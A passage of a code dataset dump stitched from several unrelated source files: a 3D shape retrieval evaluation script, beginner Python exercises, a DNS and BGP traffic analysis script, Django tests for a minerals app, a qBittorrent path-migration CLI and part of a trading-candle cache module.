axis=1))\n\n return res/2\n\n\n\n\nclass Retrieval(object):\n '''\n ColorTransfer\n load\n save\n '''\n def __init__(self, config):\n self.cfg =config\n self.retrieval_net = RetrievalNet(self.cfg)\n\n self.normal_tf = transform.ImageNormalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n self.size = self.cfg.data.pix_size\n self.dim = self.cfg.models.z_dim\n self.view_num = self.cfg.data.view_num\n\n self.loading(self.cfg.models.pre_trained_path)\n \n\n def loading(self, paths=None):\n if paths == None or not os.path.exists(paths): \n print('No ckpt!')\n exit(-1)\n else:\n # loading\n ckpt = jt.load(paths)\n self.retrieval_net.load_state_dict(ckpt)\n print('loading %s successfully' %(paths))\n\n\n def test_steps(self):\n # 缩小一下 model 的大小,然后再计算\n '''\n 1. 先按照 json 中的cat来分类,把同一类的聚集起来\n 2. 按照 类 来遍历,将Top1的结果保存\n 3. 根据需求,是否需要计算IoU和Haus; 如果需要这两个数字,则遍历Top1结果\n '''\n cfg = self.cfg\n self.retrieval_net.eval()\n\n # datasets for no model embeddings repeating training\n is_aug = cfg.setting.is_aug\n cfg.setting.is_aug = False\n shape_dataset = ShapeDataset(cfg=cfg)\n # shape_loader = torch.utils.data.DataLoader(dataset=shape_dataset, \\\n # batch_size=cfg.data.batch_size, shuffle=False, \\\n # drop_last=False, num_workers=cfg.data.num_workers)\n shape_loader = ShapeDataset(cfg=cfg).set_attrs(batch_size=cfg.data.batch_size, shuffle=False, num_workers=cfg.data.num_workers, drop_last=False)\n cfg.setting.is_aug = is_aug\n\n\n name_src = 'compcars'\n name_tar = 'compcars'\n roots = '../data'\n is_iou_haus = True\n roots_src = os.path.join(roots, name_src)\n roots_tar = os.path.join(roots, name_tar)\n \n\n shape_cats_list = []\n shape_inst_list = []\n shape_ebd_list = []\n pbar = tqdm.tqdm(shape_loader)\n for meta in pbar:\n with jt.no_grad():\n rendering_img = meta['rendering_img']\n cats = meta['labels']['cat']\n instances = meta['labels']['instance']\n \n rendering = rendering_img.view(-1, 1, self.size, self.size)\n rendering_ebds = self.retrieval_net.get_rendering_ebd(rendering).view(-1, self.view_num, self.dim)\n shape_cats_list += cats\n shape_inst_list += instances\n shape_ebd_list.append(rendering_ebds)\n \n shape_ebd = jt.concat(shape_ebd_list, dim=0) # num, 12, dim\n\n # test image\n json_dict = read_json(os.path.join(cfg.data.data_dir, cfg.data.test_json))\n # json_dict = json_dict[:10]\n # json_lenth = len(json_dict)\n query_transformer = transform.Compose([transform.ToTensor(), transform.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n mask_transformer = transform.Compose([transform.ToTensor(), transform.Normalize((0.5, ), (0.5, ))])\n bs = shape_ebd.shape[0]\n\n # sorted as category \n cats_dict = {}\n for items in json_dict:\n cat = items['category']\n try:\n cats_dict[cat].append(items)\n except:\n cats_dict[cat] = []\n cats_dict[cat].append(items)\n\n iou_dict = {}\n haus_dict = {}\n top1_dict = {}\n topk_dict = {}\n category_dict = {}\n record_dict = {}\n\n for cat in cats_dict.keys():\n cats_list = cats_dict[cat]\n iou_dict[cat] = [0 for i in range(len(cats_list))]\n haus_dict[cat] = [0 for i in range(len(cats_list))]\n top1_dict[cat] = [0 for i in range(len(cats_list))]\n topk_dict[cat] = [0 for i in range(len(cats_list))]\n category_dict[cat] = [0 for i in range(len(cats_list))]\n record_dict[cat] = []\n\n with jt.no_grad():\n pbar = tqdm.tqdm(cats_list) \n for i, info in enumerate(pbar):\n # info = json_dict[i]\n query_img = query_transformer(Image.open(os.path.join(cfg.data.data_dir, info['img'])))\n mask_img = mask_transformer(Image.open(os.path.join(cfg.data.data_dir, info['mask'])))\n\n query = jt.concat((query_img, mask_img), dim=0)\n query = query.unsqueeze(dim=0)\n query_ebd = self.retrieval_net.get_query_ebd(query)\n\n \n query_ebd = query_ebd.repeat(bs, 1, 1)\n _, weights = self.retrieval_net.attention_query(query_ebd, shape_ebd)\n queried_rendering_ebd = jt.nn.bmm(weights, shape_ebd)\n qr_ebd = queried_rendering_ebd\n qi_ebd = query_ebd\n prod_mat = (qi_ebd * qr_ebd).sum(dim=2)\n max_idx = prod_mat.argmax(dim=0)\n\n\n pr_cats = shape_cats_list[max_idx[0]]\n pr_inst = shape_inst_list[max_idx[0]]\n \n gt_cats = info['category']\n gt_inst = info['model'].split('/')[-2]\n \n if gt_cats == pr_cats:\n category_dict[cat][i] = 1\n\n if gt_inst == pr_inst:\n top1_dict[cat][i] = 1\n\n record_dict[cat].append((pr_cats, pr_inst, gt_cats, gt_inst))\n\n \n\n max_idx = prod_mat.view(-1).topk(dim=0, k=10)[1]\n for kk in range(10):\n pr_cats = shape_cats_list[max_idx[kk]]\n pr_inst = shape_inst_list[max_idx[kk]]\n if gt_cats == pr_cats and gt_inst == pr_inst:\n topk_dict[cat][i] = 1\n break\n \n\n # basic output: top1, top10, cats, total number\n out_info = []\n total_info = {}\n for cat in cats_dict.keys():\n length = len(top1_dict[cat])\n out_info.append('%s: top1: %d, top10: %d, cats: %d, top1_rt: %.3f, top10_rt: %.3f, cats_rt: %.3f, total num: %d\\\n ' %(cat, sum(top1_dict[cat]), sum(topk_dict[cat]), sum(category_dict[cat]),\n sum(top1_dict[cat])/length, sum(topk_dict[cat])/length, \n sum(category_dict[cat])/length, length))\n \n total_info[cat] = []\n total_info[cat].append(sum(top1_dict[cat]))\n total_info[cat].append(sum(topk_dict[cat]))\n total_info[cat].append(sum(category_dict[cat]))\n total_info[cat].append(length)\n for msg in out_info:\n print(msg)\n \n total_top1 = sum([total_info[cat][0] for cat in cats_dict.keys()])\n total_top10 = sum([total_info[cat][1] for cat in cats_dict.keys()])\n total_cats = sum([total_info[cat][2] for cat in cats_dict.keys()]) \n total_length = sum([total_info[cat][3] for cat in cats_dict.keys()]) \n print('%s: top1: %d, top10: %d, cats: %d, top1_rt: %.3f, top10_rt: %.3f, cats_rt: %.3f, total num: %d\\n\\\n ' %('[Total]', total_top1, total_top10, total_cats,\n total_top1/total_length, total_top10/total_length, \n total_cats/total_length, total_length))\n\n\n return record_dict\n if is_iou_haus:\n print('>>>>>>>>[calculating haus and iou]<<<<<<<<')\n # In order to speed up, we use multiprocessing here\n \n cal_iou_haus(record_dict, roots_src, roots_tar, iou_dict, haus_dict, cats_dict)\n\n out_info = []\n total_info = {}\n for cat in cats_dict.keys():\n length = len(iou_dict[cat])\n out_info.append('%s: haus: %.4f, iou: %.4f,\\n\\\n ' %(cat, sum(haus_dict[cat])/length, sum(iou_dict[cat])/length, length))\n \n total_info[cat] = []\n total_info[cat].append(sum(haus_dict[cat]))\n total_info[cat].append(sum(iou_dict[cat]))\n total_info[cat].append(length)\n for msg in out_info:\n print(msg)\n \n total_haus = sum([total_info[cat][0] for cat in cats_dict.keys()])\n total_iou = sum([total_info[cat][1] for cat in cats_dict.keys()])\n total_length = sum([total_info[cat][2] for cat in cats_dict.keys()]) \n print('%s: haus: %.4f, iou: %.4f: %d\\n\\\n ' %('[Total]', total_haus/total_length, \n total_iou/total_length, total_length))\n\n\n\n@contextmanager\ndef poolcontext(*args, **kwargs):\n pool = multiprocessing.Pool(*args, **kwargs)\n yield pool\n pool.terminate()\n\n\ndef func(zips):\n ki, record = zips\n name_src = 'stanfordcars'\n name_tar = 'stanfordcars'\n roots = '../data'\n roots_src = os.path.join(roots, name_src)\n roots_tar = os.path.join(roots, name_tar) \n\n # pr_cats, pr_inst, gt_cats, gt_inst = record_dict['car'][ki] \n pr_cats, pr_inst, gt_cats, gt_inst = record\n src_binvox_path = os.path.join(roots_src, 'model_std_bin128', gt_cats, '%s.binvox'%(gt_inst,))\n tar_binvox_path = os.path.join(roots_tar, 'model_std_bin128', pr_cats, '%s.binvox'%(pr_inst,))\n\n with open(src_binvox_path, 'rb') as f:\n src_bin = binvox_rw.read_as_3d_array(f).data\n \n with open(tar_binvox_path, 'rb') as f:\n tar_bin = binvox_rw.read_as_3d_array(f).data\n\n # IoU\n Iou_st = np.sum(src_bin & tar_bin) / np.sum((src_bin | tar_bin) + 1e-8)\n # Haus\n src_ptc_path = os.path.join(roots_src, 'model_std_ptc10k_npy', gt_cats, '%s.npy'%(gt_inst,))\n tar_ptc_path = os.path.join(roots_tar, 'model_std_ptc10k_npy', pr_cats, '%s.npy'%(pr_inst,))\n\n src_ptc = np.load(src_ptc_path)[:5000]\n tar_ptc = np.load(tar_ptc_path)[:5000]\n src_ptc = src_ptc/2\n tar_ptc = tar_ptc/2 \n\n Haus_st = averaged_hausdorff_distance(src_ptc, tar_ptc)\n if ki % 500 == 0:\n print(ki)\n\n return Haus_st, Iou_st \n\n\nif __name__ == '__main__':\n import yaml\n import argparse\n with open('./configs/stanfordcars.yaml', 'r') as f:\n config = yaml.load(f)\n def dict2namespace(config):\n namespace = argparse.Namespace()\n for key, value in config.items():\n if isinstance(value, dict):\n new_value = dict2namespace(value)\n else:\n new_value = value\n setattr(namespace, key, new_value)\n return namespace\n config = dict2namespace(config)\n\n\n config.models.pre_trained_path = './pre_trained/stanfordcars.pt'\n\n ret = Retrieval(config)\n record_dict = ret.test_steps()\n\n \n\n is_iou_haus = True\n if is_iou_haus:\n iou_dict = {}\n haus_dict = {}\n par_num = 20 \n for cat in record_dict.keys():\n nums = [i for i in range(len(record_dict[cat]))]\n records = [record_dict[cat][i] for i in range(len(record_dict[cat]))] \n with poolcontext(processes=par_num) as pool:\n rt = pool.map(func, zip(nums, records))\n\n # print(rt)\n iou_dict[cat] = []\n haus_dict[cat] = []\n for haus, iou in rt:\n iou_dict[cat].append(iou) \n haus_dict[cat].append(haus)\n\n \n out_info = []\n total_info = {}\n for cat in record_dict.keys():\n length = len(iou_dict[cat])\n out_info.append('%s: haus: %.4f, iou: %.4f,\\\n ' %(cat, sum(haus_dict[cat])/length, sum(iou_dict[cat])/length))\n \n total_info[cat] = []\n total_info[cat].append(sum(haus_dict[cat]))\n total_info[cat].append(sum(iou_dict[cat]))\n total_info[cat].append(length)\n for msg in out_info:\n print(msg)\n \n total_haus = sum([total_info[cat][0] for cat in record_dict.keys()])\n total_iou = sum([total_info[cat][1] for cat in record_dict.keys()])\n total_length = sum([total_info[cat][2] for cat in record_dict.keys()]) \n print('%s: haus: %.4f, iou: %.4f: %d\\n\\\n ' %('[Total]', total_haus/total_length, \n total_iou/total_length, total_length))\n # pass\n\n\n\n","sub_path":"code/RetrievalNet_test.py","file_name":"RetrievalNet_test.py","file_ext":"py","file_size_in_byte":14580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"205522868","text":"continuar = True\nwhile continuar:\n print (\"--------------------------------------------------------------\")\n print (\"\"\"\\t\\t\\tCALCULA DEZENAS \"\"\")\n print (\"\"\"\\t\\t\\t---------------\"\"\")\n\n print ()\n\n print (\"\"\"DESCRIÇÃO: Informa quantas dezenas há em um número qualquer.\"\"\")\n print ()\n print (\"\"\"SAIR: Digite S, s ou sair\"\"\")\n print (\"--------------------------------------------------------------\")\n print (\"\\n\")\n\n while True:\n numero = input(\"Digite um número: \")\n try:\n numero = abs(float(numero))\n break\n except ValueError:\n if numero in ['s', 'S', 'sair']:\n continuar = False\n break\n print (\"\\nValor invalido, por favor digite apenas números\")\n finally:\n print (\"\\n\")\n\n if not continuar:\n break\n\n aux = numero\n\n qtd_dezenas = 0\n while numero >= 10:\n qtd_dezenas +=1\n numero -=10\n\n saida = \"SAIDA: \"\n saida += str(aux) + \" tem \" + str(qtd_dezenas) + \" dezena\"\n\n if qtd_dezenas >1:\n saida += \"s\"\n\n print (saida)\n\n\nprint (\"FIM DO PROGRAMA\")\n","sub_path":"ProgramasPython/qtd_dezenas.py","file_name":"qtd_dezenas.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"28809495","text":"## PIG LATIN TRANSLATOR ##\r\n\r\n## PROJECT STRUCTURE ##\r\n\r\n# Notes: A Welcome message is displayed to the user.\r\nprint(\"\\nWelcome to the Pig Latin Translator! Here you will be able to convert any sentence into Pig Latin!\")\r\n\r\n# Notes: Creating a string by getting input from the user which will be used later and translated into Pig Latin. The strip() function is used to remove any whitespace,\r\n# and the lower() function is used to convert the entire string to lowercase\r\noriginal = input(\"\\nPlease enter the sentence you would like translated.\\nSentence: \")\r\n\r\n# Notes: Creating a list by using the split() function on the \"original\" string\r\noriginal_list = original.split()\r\n\r\n# Notes: Below I create an empty list which will store the translated words.\r\nnew_list = []\r\n\r\n# Notes: Creating a for-loop that will run through each word in original_list and translate and append it accordingly.\r\nfor word in original_list:\r\n \r\n # Notes: if-statement that will add \"yay\" to the end of words in original_sentence that start with a vowel, and append it to new_list\r\n if word[0] in \"aeiou\":\r\n new_word = word + \"yay\"\r\n new_list.append(new_word)\r\n \r\n # Notes: An else-statement that will run in the case that the word doesn't start with a vowel. Each time the loop runs, a temporary variable called vowel_position\r\n # with a 0 value is created. This will later be used to determine the index location of the first vowel in the word.\r\n else:\r\n vowel_position = 0\r\n \r\n # Notes: A for-loop that will itirate through each letter in words not starting with a vowel. For each consonant counted, the value of vowel_position is increased by 1.\r\n # This will run continuously until the loop encounters the first vowel in the word.\r\n for letter in word:\r\n if letter not in \"aeiou\":\r\n vowel_position = vowel_position + 1\r\n else:\r\n break\r\n # Notes: Temporary variables created withing the for-loop in order to create the translated word. The \"consonant\" variable saves the part of the word after the index\r\n # position of \"vowel_position, and \"the_rest saves the part of the word up until the index value of \"vowel_position\".\r\n consonant = word[:vowel_position]\r\n the_rest = word[vowel_position:]\r\n new_word = the_rest + consonant + \"ay\"\r\n new_list.append(new_word)\r\n\r\ntranslated = \" \".join(new_list)\r\n\r\nprint(translated)\r\n","sub_path":"pig_latin_translator.py","file_name":"pig_latin_translator.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"134011152","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 12 22:32:01 2020\n\n@author: kisho\n\"\"\"\n\n# 1 REVERSE THE STRING \nword = \"Kishore\" \nprint(word[::-1])\nword = \"kishore\"[::-1]\nprint(word)\n \n# 2 SWAP THE CASES \nword = \"KiSHorE\"\nprint(word.swapcase())\n\nword = \"KiSHorE\"\nname = []\nfor i in word: \n if i.isupper():\n name.append(i.lower())\n elif i.islower():\n name.append(i.upper())\n else:\n name.append(i)\ncaseword = ''.join(name)\nprint(caseword)\n\n\n# 3 count the occurance of the string \nwordy=\"kishore\"\nd = {}\nfor i in wordy:\n \n if i in d:\n \n d[i]+=1\n else:\n d[i]=1\n \nprint(d)\n\n# 4 \nfor i in range(1,51):\n print(i)\n if i %2 == 0:\n print(\"EVEN :\" ,i)\n else:\n print(\"ODD :\" ,i)\n \n\n# 5 \nfor i in range(1,51):\n if i%3 ==0 and i%5 == 0:\n print(i, \"fizz-buzz\")\n elif i %3 == 0: \n print(i , \"fizz\")\n elif i % 5 == 0:\n print(i , \"buzz\")\n\n else: \n print(i)\n \n\n# 6 \nvowels = \"aeiou\"\nword = \"accenture\"\nfor i in word: \n count = 0\n if i in vowels: \n count+=1\n print(i,count)\n\n\n# 7 \nword = \"ga24nbv2k6jg523jg2545lsfwe\"\nsum = 0\nletter = []\nfor i in word:\n if i.isdigit():\n sum = sum + int(i)\n else: \n letter.append(i)\nprint(\"Sum is :\",sum,\" Characters is : \",letter)\n\n#8 \nnumber = []\nfor i in range(1,11):\n number.append(i)\nprint(number)\nn = len(number)\nsum = 9\nfor i in range(0,n):\n for j in range(0,n):\n if(number[i]+number[j] == sum):\n print(number[i],\" \", number[j])\n\n# 9 \nw1 = \"add\"\nw2 = \"dad\"\nif(sorted(w1)==sorted(w2)):\n print(\"it is anagram\" )\nelse:\n print(\"it is not an anagram\")\n\n#10\na = 11 \nfor i in range(2,int(a/2)):\n if a%i == 0:\n print(\"its not a prime\")\n break\nelse:\n print(\"its a prime\")\n\n\n# 11 \nword = (1,2,3,4,5)\n# new = word + (6,)\n\nneww = list(word)\nneww.append(6)\nprint(tuple(neww))\n\n#12 \na = input()\nrev = a[::-1]\nif a == rev:\n print(\"it is palindrome \" )\nelse:\n print(\"it is not palindrome \")\n\n# 13 \nnum = 11\nfor i in range(0,21):\n print(num ,\" x \", i, \" = \", num*i)\n\n# 14 \n\nn1 =0\nn2 =1 \nn =0\nwhile(n<50):\n print(n)\n n = n1 +n2\n n1 = n2\n n2 = n \n \n# 15 \ns = []\nsentence = \"this-is-the-program-a-to-sort-with-hyphen\"\nfor i in sentence.split(\"-\"):\n s.append(i)\ns.sort()\nprint('-'.join(s))\n\n# 16 \nli = [1,2,3,3,3,3,4,5]\nnew = []\nfor i in li:\n if i not in new:\n new.append(i)\n \nprint(new)\n\n# 17 \nalpha = \"abcdefghijklmnopqrstuvwxyz\"\nword = \"IHFJSADFAJSDFsdnff\"\nfor c in alpha:\n if c not in word:\n print(\"it is not a pangram\")\n break;\nelse: \n print(\"it is a pangram\")\n\n# 18 \nnum = []\nfor i in range(0,5):\n v = int(input(\"Enter the integer :\"))\n num.append(v)\nnum.sort(reverse = True)\nfor i in range(0,5):\n if num[i] %2 != 0:\n print(num[i])\n break\n \n#19 \n\nr = int(input(\"Enter the radius in integer\"))\narea = 3.14*r*r\nprint(area) \n\n#20 \ndef fact(n):\n if n==0 or n==1:\n return 1\n else:\n return n* fact(n-1)\n\nprint(fact(5))\n\n\n","sub_path":"python-practice/PyAccent1.py","file_name":"PyAccent1.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"429187996","text":"a = input(\"문장을 입력하세요: \")\n\nindex = 0\nfor i in a:\n if i == '.':\n a = a[:index + 1]\n index += 1\n\nif a[0] == \"저\":\n if a[-4:] == \"합니다.\":\n a = a[3:-8]\n elif a[-4:] == \"입니다.\":\n a= a[3:-4]\nelse:\n a = a[6:-4]\n\nprint(\"이름 :\",a)\n\n\n#ㅎ노자 다시 안보고 짜보기","sub_path":"2nd_assginment2.py","file_name":"2nd_assginment2.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"429287853","text":"import json\nimport random\nimport multiprocessing\nimport pyasn\nfrom matplotlib import pyplot as plt\nfrom pytricia import PyTricia\nfrom networkx import DiGraph, Graph\nimport pandas as pd\nimport numpy as np\n\nfrom eval_ddos_utils import load_as_graph\n\n\ndef stat():\n alldf = []\n for i in range(19):\n df = pd.read_csv(\"/home/yutao/Desktop/data-dns-dsr6059\" + \"/\" + str(i) + \".csv\", dtype=str);\n alldf.append(df)\n df = pd.concat(alldf, axis=0, ignore_index=True)\n df1 = df[df['src_port'] == '53']\n df2 = df1[df1['dst'] == '144.154.222.228']\n a = np.array(df2.iplen.astype(int))\n b = a+14\n t1 = b.sum()\n print(t1/1996/(1000*1000)*8, \"Mbps\") # 0.574 Mbps\n df1iplen = df1.iplen.astype(int)\n t2 = df1iplen.sum()\n print(t2 / 1996 / (1000 * 1000) * 8, \"Mbps\") # 0.569 Mbps\n df3 = df[df['dst_port'] == '53']\n df3iplen = df3.iplen.astype(int)\n t3 = df3iplen.sum()\n print(t3 / 1996 / (1000 * 1000) * 8, \"Mbps\") # 0.002 Mbps\n df4 = df3[df3['src']=='144.154.222.228']\n\n\ndef dns_server_dist_plot():\n nameservers = pd.read_csv(\"data/nameservers.csv\", dtype=str)\n country = nameservers.columns[2]\n ip = nameservers.columns[0]\n d = nameservers[[country, ip]]\n num_list = d.groupby(country).count()[ip]\n num_list = num_list.sort_values(0,False)\n x=[]; y=[]\n for i in range(30):\n x.append(str(num_list.index[i]))\n y.append(num_list[i])\n xv = list(range(30))\n plt.bar(xv,y)\n plt.xticks(xv,x)\n plt.show()\n\n\n\ndef get_tier1_as():\n g = load_as_graph()\n ret = []\n for i in g.nodes:\n if all(adj['rel']!='cp' for adj in g.adj[i].values()):\n ret.append(i)\n return ret\n\n\ndef main1():\n import random\n c_as = 6075\n # a=\"./lb_eval.py 1 data/20181201.as-rel.txt /home/pcl/8LStudentYuHaitao/tmp/jenson/flow-stats.70min.0.csv %d > result/1-1-23.txt &\"%c_as\n # print(a)\n b = \"./lb_eval.py 4 data/20181201.as-rel.txt /home/pcl/8LStudentYuHaitao/tmp/jenson/flow-stats.70min.0.csv %d %s > result/%d-4-%d.txt\"\n\n TIER1 = [7018, 209, 3356, 3549, 4323, 3320, 3257, 4436, 286, 6830, 2914, 5511, 3491, 1239, 6453, 6762, 12956, 1299,\n 701, 702, 703, 2828, 6461]\n\n MAXITEM = 50\n ruleslist = []\n inc_sel_list = []\n\n output = []\n\n for n in range(1, 24):\n if len(inc_sel_list)==0:\n if len(TIER1)>MAXITEM:\n sel = random.sample(TIER1, MAXITEM)\n else:\n sel = TIER1\n all_set = set(TIER1)\n for item in sel:\n one_set = {item}\n inc_sel_list.append((one_set, all_set-one_set))\n else:\n old_len = len(inc_sel_list)\n while len(inc_sel_list) result/1-1-23.txt &\"%c_as\n # print(a)\n b = \"./lb_eval.py 4 data/20181201.as-rel.txt /home/pcl/8LStudentYuHaitao/tmp/jenson/flow-stats.70min.0.csv %d > result/%d.txt\"\n\n ruleslist = []\n\n df = pd.read_csv('data/multihoming_stubs_flow_stats.csv',dtype=str, header=None, names=[\"as\",\"c1\",\"c2\"])\n\n for n in range(501, 1001):\n asn = df[\"as\"][n-1]\n asn = int(asn)\n cmd = b%(asn,asn)\n target = \"result/%d.txt\"%asn\n ruleslist.append((target, cmd))\n # print(ruleslist)\n\n print(\"all:%s\"%(\" \".join(a[0] for a in ruleslist)))\n\n for target, cmd in ruleslist:\n print(\"%s:\"%target)\n print(\"\\t%s\"%cmd)\n\n\ndef main3():\n ruleslist = []\n df = pd.read_csv('data/multihoming_stubs_flow_stats.csv',dtype=str, header=None, names=[\"as\",\"c1\",\"c2\"])\n for n in range(1, 1001):\n asn = df[\"as\"][n-1]\n asn = int(asn)\n target = \"result-stability/%d.txt\" % asn\n cmd = \"python3 stability_analysis.py data/20181201.as-rel.txt %d 20 > %s\"%(asn,target)\n ruleslist.append((target, cmd))\n\n print(\"all:%s\"%(\" \".join(a[0] for a in ruleslist)))\n\n for target, cmd in ruleslist:\n print(\"%s:\"%target)\n print(\"\\t%s\"%cmd)\n\n\ndef main():\n ruleslist = []\n df = pd.read_csv('data/multihoming_stubs_flow_stats.csv',dtype=str, header=None, names=[\"as\",\"c1\",\"c2\"])\n for n in range(1, 51):\n asn = df[\"as\"][n-1]\n asn = int(asn)\n if asn==21899:\n continue\n target = \"result-lb-eval/%d.txt\" % asn\n cmd = \"python3 lb_eval_fork.py 4 data/20181201.as-rel.txt /home/pcl/8LStudentYuHaitao/tmp/jenson/flow-stats.70min.0.csv %d\"%(asn)\n ruleslist.append((target, cmd))\n\n print(\"all:%s\"%(\" \".join(a[0] for a in ruleslist)))\n\n for target, cmd in ruleslist:\n print(\"%s:\"%target)\n print(\"\\t%s\"%cmd)\n\n\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"eval_ddos_trial.py","file_name":"eval_ddos_trial.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"415356328","text":"from django.urls import reverse\nfrom django.test import TestCase\n\nfrom .models import Mineral\n\n\n# Create your tests here.\nclass CourseViewsTests(TestCase):\n def setUp(self):\n self.mineral = Mineral.objects.create(\n name='Test',\n image_filename='Test',\n image_caption='Test',\n category='Test',\n formula='Test',\n strunz_classification='Test',\n crystal_system='Test',\n unit_cell='Test',\n color='Test',\n crystal_symmetry='Test',\n cleavage='Test',\n mohs_scale_hardness='Test',\n luster='Test',\n streak='Test',\n diaphaneity='Test',\n optical_properties='Test',\n group='Test',\n refractive_index='Test',\n crystal_habit='Test',\n specific_gravity='Test',\n )\n\n self.mineral2 = Mineral.objects.create(\n name='Test2',\n image_filename='Test2',\n image_caption='Test2',\n category='Test2',\n formula='Test2',\n strunz_classification='Test2',\n crystal_system='Test2',\n unit_cell='Test2',\n color='Test2',\n crystal_symmetry='Test2',\n cleavage='Test2',\n mohs_scale_hardness='Test2',\n luster='Test2',\n streak='Test2',\n diaphaneity='Test2',\n optical_properties='Test2',\n group='Test2',\n refractive_index='Test2',\n crystal_habit='Test2',\n specific_gravity='Test2',\n )\n\n def test_mineral_index_view(self):\n resp = self.client.get(reverse('minerals:index'))\n self.assertEqual(resp.status_code, 200)\n self.assertIn(self.mineral, resp.context['minerals'])\n self.assertIn(self.mineral2, resp.context['minerals'])\n self.assertTemplateUsed(resp, 'index.html')\n self.assertContains(resp, self.mineral.name)\n\n def test_mineral_detail_view(self):\n resp = self.client.get(reverse('minerals:detail',\n kwargs={'pk': self.mineral.pk}))\n self.assertEqual(resp.status_code, 200)\n self.assertEqual(self.mineral, resp.context['mineral'])\n","sub_path":"minerals/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"402268906","text":"import logging\nimport argparse\n\nfrom . import QBTBatchMove, discover_bt_backup_path\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-e', '--existing-path', help='Existing root of path to look for.')\n parser.add_argument('-n', '--new-path', help='New root path to replace existing root path with.')\n parser.add_argument('-t', '--target-os', help='Target OS (converts slashes). '\n 'Default will auto-detect if conversion is needed '\n 'based on existing vs new.',\n choices=['Windows', 'Linux', 'Mac'])\n parser.add_argument('-b', '--bt-backup-path', help='BT_Backup Path Override. Default is %s'\n % discover_bt_backup_path())\n parser.add_argument('-s', '--skip-bad-files', help='Skips bad .fastresume files instead of exiting. '\n 'Default behavior is to exit.',\n action='store_true', default=False)\n\n parser.add_argument('-l', '--log-level', help='Log Level, Default is INFO.',\n choices=['DEBUG', 'INFO'], default='INFO')\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n logging.basicConfig()\n logger.setLevel(args.log_level)\n logging.getLogger('qbt_migrate').setLevel(args.log_level)\n logging.getLogger('qbt_migrate').propagate = True\n qbm = QBTBatchMove()\n if args.bt_backup_path is not None:\n qbm.bt_backup_path = args.bt_backup_path\n else:\n bt_backup_path = input('BT_Backup Path (%s): ' % qbm.bt_backup_path)\n if bt_backup_path.strip():\n qbm.bt_backup_path = bt_backup_path\n if args.existing_path is None:\n args.existing_path = input('Existing Path: ')\n if args.new_path is None:\n args.new_path = input('New Path: ')\n if args.target_os is None:\n args.target_os = input('Target OS (Windows, Linux, Mac, Blank for auto-detect): ')\n if args.target_os.strip() and args.target_os.lower() not in ('windows', 'linux', 'mac'):\n raise ValueError('Target OS is not valid. Must be Windows, Linux, or Mac. Received: %s' % args.target_os)\n elif not args.target_os.strip():\n if '/' in args.existing_path and '\\\\' in args.new_path:\n logger.info('Auto detected target OS change. Will convert slashes to Windows.')\n args.target_os = 'windows'\n elif '\\\\' in args.existing_path and '/' in args.new_path:\n logger.info('Auto detected target OS change. Will convert slashes to Linux/Mac.')\n args.target_os = 'linux'\n else:\n args.target_os = None\n qbm.run(args.existing_path, args.new_path, args.target_os, args.skip_bad_files)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"qbt_migrate/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"615916649","text":"import datetime\nimport logging\nimport os\n\nimport pandas as pd\nfrom django.db import transaction\nfrom django.db.models import Count\nfrom django.db.models.functions import TruncDate\n\nfrom quant_candles.constants import Frequency\nfrom quant_candles.exchanges import candles_api\nfrom quant_candles.lib import (\n get_existing,\n get_min_time,\n get_next_time,\n has_timestamps,\n iter_timeframe,\n validate_data_frame,\n)\nfrom quant_candles.models import Candle, CandleCache, Symbol, TradeData\nfrom quant_candles.models.trades import upload_trade_data_to\nfrom quant_candles.utils import gettext_lazy as _\n\nlogger = logging.getLogger(__name__)\n\n\ndef convert_candle_cache_to_daily(candle: Candle):\n \"\"\"Convert candle cache, by minute or hour, to daily.\n\n * Convert, from past to present, in order.\n \"\"\"\n candle_cache = CandleCache.objects.filter(candle=candle)\n last_daily_cache = (\n candle_cache.filter(frequency=Frequency.DAY)\n .only(\"timestamp\")\n .order_by(\"-timestamp\")\n .first()\n )\n if last_daily_cache:\n hourly_or_minute_cache = candle_cache.filter(\n timestamp__lt=last_daily_cache.timestamp, frequency__lt=Frequency.DAY\n )\n unique_dates = (\n hourly_or_minute_cache.annotate(date=TruncDate(\"timestamp\"))\n .values(\"date\")\n .annotate(unique=Count(\"date\"))\n )\n if unique_dates.count() <= 1:\n timestamp_from = last_daily_cache.timestamp\n else:\n timestamp_from = (\n hourly_or_minute_cache.only(\"timestamp\").first().timestamp_from\n )\n else:\n any_cache = candle_cache.only(\"timestamp\").first()\n if any_cache:\n timestamp_from = any_cache.timestamp\n else:\n timestamp_from = None\n if timestamp_from:\n timestamp_to = candle_cache.only(\"timestamp\").last().timestamp\n for daily_ts_from, daily_ts_to in iter_timeframe(\n get_min_time(timestamp_from, value=\"1d\"),\n get_next_time(timestamp_to, value=\"1d\"),\n value=\"1d\",\n ):\n delta = daily_ts_to - daily_ts_from\n total_minutes = delta.total_seconds() / Frequency.HOUR\n if total_minutes == Frequency.DAY:\n target_cache = CandleCache.objects.filter(\n candle=candle,\n timestamp__gte=daily_ts_from,\n timestamp__lt=daily_ts_to,\n frequency__lt=Frequency.DAY,\n )\n existing = get_existing(target_cache.values(\"timestamp\", 